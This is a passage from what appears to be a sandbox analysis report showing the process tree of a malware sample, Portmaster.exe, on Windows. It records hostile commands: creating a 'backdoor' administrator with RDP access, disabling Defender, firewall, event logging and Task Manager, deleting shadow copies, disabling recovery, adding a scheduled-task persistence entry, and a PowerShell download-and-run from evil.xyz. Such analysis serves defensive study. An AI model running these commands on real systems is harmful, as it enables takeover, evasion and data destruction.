      4⤵
      Launches sc.exe
      PID:7688
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c sc config Schedule start= disabled
    3⤵
    PID:7344
  - - C:\Windows\SysWOW64\sc.exe
      sc config Schedule start= disabled
      4⤵
      Launches sc.exe
      PID:7480
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c sc config EventLog start= disabled
    3⤵
    PID:6908
  - - C:\Windows\SysWOW64\sc.exe
      sc config EventLog start= disabled
      4⤵
      PID:7540
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c net user backdoor P@ssw0rd123! /add
    3⤵
    PID:7124
  - - C:\Windows\SysWOW64\net.exe
      net user backdoor P@ssw0rd123! /add
      4⤵
      PID:8868
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 user backdoor P@ssw0rd123! /add
        5⤵
        
        PID:7680
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c net localgroup administrators backdoor /add
    3⤵
    PID:7712
  - - C:\Windows\SysWOW64\net.exe
      net localgroup administrators backdoor /add
      4⤵
      PID:6420
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 localgroup administrators backdoor /add
        5⤵
        
        PID:9600
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c net localgroup "Remote Desktop Users" backdoor /add
    3⤵
    - Remote Service Session Hijacking: RDP Hijacking
    PID:9412
  - - C:\Windows\SysWOW64\net.exe
      net localgroup "Remote Desktop Users" backdoor /add
      4⤵
      Remote Service Session Hijacking: RDP Hijacking
      PID:9632
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 localgroup "Remote Desktop Users" backdoor /add
        5⤵
        Remote Service Session Hijacking: RDP Hijacking
        
        PID:4940
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
    3⤵
    PID:7028
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
      4⤵
      PID:9228
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="RDP" dir=in protocol=tcp localport=3389 action=allow
    3⤵
    PID:9344
  - - C:\Windows\SysWOW64\netsh.exe
      netsh advfirewall firewall add rule name="RDP" dir=in protocol=tcp localport=3389 action=allow
      4⤵
      Modifies Windows Firewall
      PID:9360
- - C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
    "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
    3⤵
    PID:10592
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f
      4⤵
      PID:7544
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:332
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
      4⤵
      PID:13032
    - - C:\Windows\SysWOW64\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
        5⤵
        
        PID:4252
- - C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
    "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
    3⤵
    PID:10600
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f
      4⤵
      PID:8552
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:12036
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
      4⤵
      PID:12776
- - C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
    "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
    3⤵
    PID:9260
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f
      4⤵
      PID:9780
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:12064
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
      4⤵
      PID:12248
    - - C:\Windows\SysWOW64\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
        5⤵
        
        PID:4456
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f
      4⤵
      PID:12424
    - - C:\Windows\SysWOW64\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f
        5⤵
        
        PID:13480
- - C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
    "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
    3⤵
    PID:10196
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f
      4⤵
      PID:11052
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:3368
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:7748
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
      4⤵
      PID:6624
    - - C:\Windows\SysWOW64\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
        5⤵
        
        PID:13416
- - C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
    "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
    3⤵
    PID:2840
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f
      4⤵
      PID:9940
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:12280
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
      4⤵
      PID:11400
    - - C:\Windows\SysWOW64\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
        5⤵
        
        PID:13108
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f
      4⤵
      PID:13108
- - C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
    "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
    3⤵
    PID:3644
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f
      4⤵
      PID:6644
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:11720
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
      4⤵
      PID:6512
    - - C:\Windows\SysWOW64\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
        5⤵
        
        PID:12796
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f
      4⤵
      PID:13460
- - C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
    "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
    3⤵
    PID:6972
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f
      4⤵
      PID:6188
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:3656
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:10908
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
      4⤵
      PID:11308
    - - C:\Windows\SysWOW64\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
        5⤵
        
        PID:11288
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f
      4⤵
      PID:12740
- - C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
    "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
    3⤵
    PID:6808
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f
      4⤵
      PID:5048
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:3140
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
      4⤵
      PID:12768
    - - C:\Windows\SysWOW64\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
        5⤵
        
        PID:12416
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c powershell -Command "IEX (New-Object Net.WebClient).DownloadString('http://evil.xyz/steal.ps1')"
    3⤵
    PID:11064
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "IEX (New-Object Net.WebClient).DownloadString('http://evil.xyz/steal.ps1')"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:12192
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c start https://evil.xyz
    3⤵
    PID:11212
- C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
  "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
  2⤵
  - Drops startup file
  PID:6088
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f
    3⤵
    PID:2456
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:3876
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5356
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
      4⤵
      PID:700
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f
    3⤵
    PID:4840
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f
      4⤵
      PID:4200
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c powershell Set-MpPreference -DisableRealtimeMonitoring $true
    3⤵
    PID:6608
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell Set-MpPreference -DisableRealtimeMonitoring $true
      4⤵
      Disables one or more Microsoft Defender components
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2052
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c netsh advfirewall set allprofiles state off
    3⤵
    PID:3468
  - - C:\Windows\SysWOW64\netsh.exe
      netsh advfirewall set allprofiles state off
      4⤵
      Modifies Windows Firewall
      PID:4364
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c vssadmin delete shadows /all /quiet
    3⤵
    PID:7868
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c bcdedit /set {default} recoveryenabled No
    3⤵
    PID:7456
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c bcdedit /set {default} bootstatuspolicy ignoreallfailures
    3⤵
    PID:10192
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c reagentc /disable
    3⤵
    PID:8612
  - - C:\Windows\SysWOW64\ReAgentc.exe
      reagentc /disable
      4⤵
      PID:8204
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c sc config wuauserv start= disabled
    3⤵
    PID:9716
  - - C:\Windows\SysWOW64\sc.exe
      sc config wuauserv start= disabled
      4⤵
      Launches sc.exe
      PID:9744
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c sc config WinDefend start= disabled
    3⤵
    PID:1556
  - - C:\Windows\SysWOW64\sc.exe
      sc config WinDefend start= disabled
      4⤵
      Launches sc.exe
      PID:10168
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c sc config Schedule start= disabled
    3⤵
    PID:8932
  - - C:\Windows\SysWOW64\sc.exe
      sc config Schedule start= disabled
      4⤵
      Launches sc.exe
      PID:11616
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c sc config EventLog start= disabled
    3⤵
    PID:11988
  - - C:\Windows\SysWOW64\sc.exe
      sc config EventLog start= disabled
      4⤵
      PID:1796
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c net user backdoor P@ssw0rd123! /add
    3⤵
    PID:9420
  - - C:\Windows\SysWOW64\net.exe
      net user backdoor P@ssw0rd123! /add
      4⤵
      PID:7684
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 user backdoor P@ssw0rd123! /add
        5⤵
        
        PID:13616
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c powershell -Command "IEX (New-Object Net.WebClient).DownloadString('http://evil.xyz/steal.ps1')"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:1724
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "IEX (New-Object Net.WebClient).DownloadString('http://evil.xyz/steal.ps1')"
    3⤵
    - Badlisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:5568
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c start https://evil.xyz
  2⤵
  PID:1832
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://evil.xyz/
    3⤵
    - Drops file in Windows directory
    - Enumerates system info in registry
    - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    - Suspicious use of FindShellTrayWindow
    PID:992
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x2d8,0x2dc,0x2e0,0x2d4,0x338,0x7ff91a21c188,0x7ff91a21c194,0x7ff91a21c1a0
      4⤵
      PID:5104
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=uk --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1812,i,9992524375175878696,7980304875601069167,524288 --field-trial-handle=2440,i,11333835615344552984,2974124011080719938,262144 --variations-seed-version --mojo-platform-channel-handle=2616 /prefetch:11
      4⤵
      System Time Discovery
      PID:5888
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=uk --service-sandbox-type=service --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2100,i,4390019604014430243,14060966783477064293,524288 --field-trial-handle=2440,i,11333835615344552984,2974124011080719938,262144 --variations-seed-version --mojo-platform-channel-handle=2628 /prefetch:13
      4⤵
      PID:5144
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1624,i,16059631093057450587,15208208062666584279,262144 --field-trial-handle=2440,i,11333835615344552984,2974124011080719938,262144 --variations-seed-version --mojo-platform-channel-handle=2436 /prefetch:2
      4⤵
      PID:2124
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=uk --js-flags=--ms-user-locale=uk_UA --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3484,i,16687555712012052645,7440754754092422524,2097152 --field-trial-handle=2440,i,11333835615344552984,2974124011080719938,262144 --variations-seed-version --mojo-platform-channel-handle=3560 /prefetch:1
      4⤵
      PID:6168
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=uk --js-flags=--ms-user-locale=uk_UA --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3512,i,3377838995621037437,8637087558879994953,2097152 --field-trial-handle=2440,i,11333835615344552984,2974124011080719938,262144 --variations-seed-version --mojo-platform-channel-handle=3564 /prefetch:1
      4⤵
      PID:6176
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=uk --js-flags=--ms-user-locale=uk_UA --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4244,i,18106941096019498958,10560857178483838369,2097152 --field-trial-handle=2440,i,11333835615344552984,2974124011080719938,262144 --variations-seed-version --mojo-platform-channel-handle=4328 /prefetch:1
      4⤵
      PID:6288
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=uk --js-flags=--ms-user-locale=uk_UA --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4932,i,9329519194284998766,5578753931547044846,2097152 --field-trial-handle=2440,i,11333835615344552984,2974124011080719938,262144 --variations-seed-version --mojo-platform-channel-handle=5060 /prefetch:1
      4⤵
      PID:1128
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=uk --js-flags=--ms-user-locale=uk_UA --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --always-read-main-dll --metrics-shmem-handle=5396,i,1190751467505228291,17203326135201540963,2097152 --field-trial-handle=2440,i,11333835615344552984,2974124011080719938,262144 --variations-seed-version --mojo-platform-channel-handle=5344 /prefetch:1
      4⤵
      PID:7352
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=uk --service-sandbox-type=audio --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5584,i,708532996970331900,2137300858995502539,524288 --field-trial-handle=2440,i,11333835615344552984,2974124011080719938,262144 --variations-seed-version --mojo-platform-channel-handle=5588 /prefetch:12
      4⤵
      PID:7840
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --lang=uk --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5552,i,7767867483972702170,11072832999650494591,524288 --field-trial-handle=2440,i,11333835615344552984,2974124011080719938,262144 --variations-seed-version --mojo-platform-channel-handle=5548 /prefetch:14
      4⤵
      PID:7860
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=uk --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5796,i,5414591874513892360,7060082243598217698,524288 --field-trial-handle=2440,i,11333835615344552984,2974124011080719938,262144 --variations-seed-version --mojo-platform-channel-handle=5872 /prefetch:14
      4⤵
      PID:6564
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=uk --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5800,i,10713197747854490278,5799634714130091077,524288 --field-trial-handle=2440,i,11333835615344552984,2974124011080719938,262144 --variations-seed-version --mojo-platform-channel-handle=5888 /prefetch:14
      4⤵
      PID:1476
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=uk --js-flags=--ms-user-locale=uk_UA --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --always-read-main-dll --metrics-shmem-handle=5404,i,6863882821933930037,1152144225324312778,2097152 --field-trial-handle=2440,i,11333835615344552984,2974124011080719938,262144 --variations-seed-version --mojo-platform-channel-handle=4872 /prefetch:1
      4⤵
      PID:700
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=uk --js-flags=--ms-user-locale=uk_UA --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --always-read-main-dll --metrics-shmem-handle=6788,i,3080310690693762783,2156438943346926480,2097152 --field-trial-handle=2440,i,11333835615344552984,2974124011080719938,262144 --variations-seed-version --mojo-platform-channel-handle=6768 /prefetch:1
      4⤵
      PID:8216
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=uk --js-flags=--ms-user-locale=uk_UA --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --always-read-main-dll --metrics-shmem-handle=6868,i,17492177128453690957,5521838779218172456,2097152 --field-trial-handle=2440,i,11333835615344552984,2974124011080719938,262144 --variations-seed-version --mojo-platform-channel-handle=6872 /prefetch:1
      4⤵
      PID:8356
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=uk --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=7020,i,4878688717694182465,2003618531162921722,524288 --field-trial-handle=2440,i,11333835615344552984,2974124011080719938,262144 --variations-seed-version --mojo-platform-channel-handle=7032 /prefetch:14
      4⤵
      PID:8584
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=uk --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=7024,i,884488250587677042,16646775067446251367,524288 --field-trial-handle=2440,i,11333835615344552984,2974124011080719938,262144 --variations-seed-version --mojo-platform-channel-handle=7040 /prefetch:14
      4⤵
      PID:8592
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
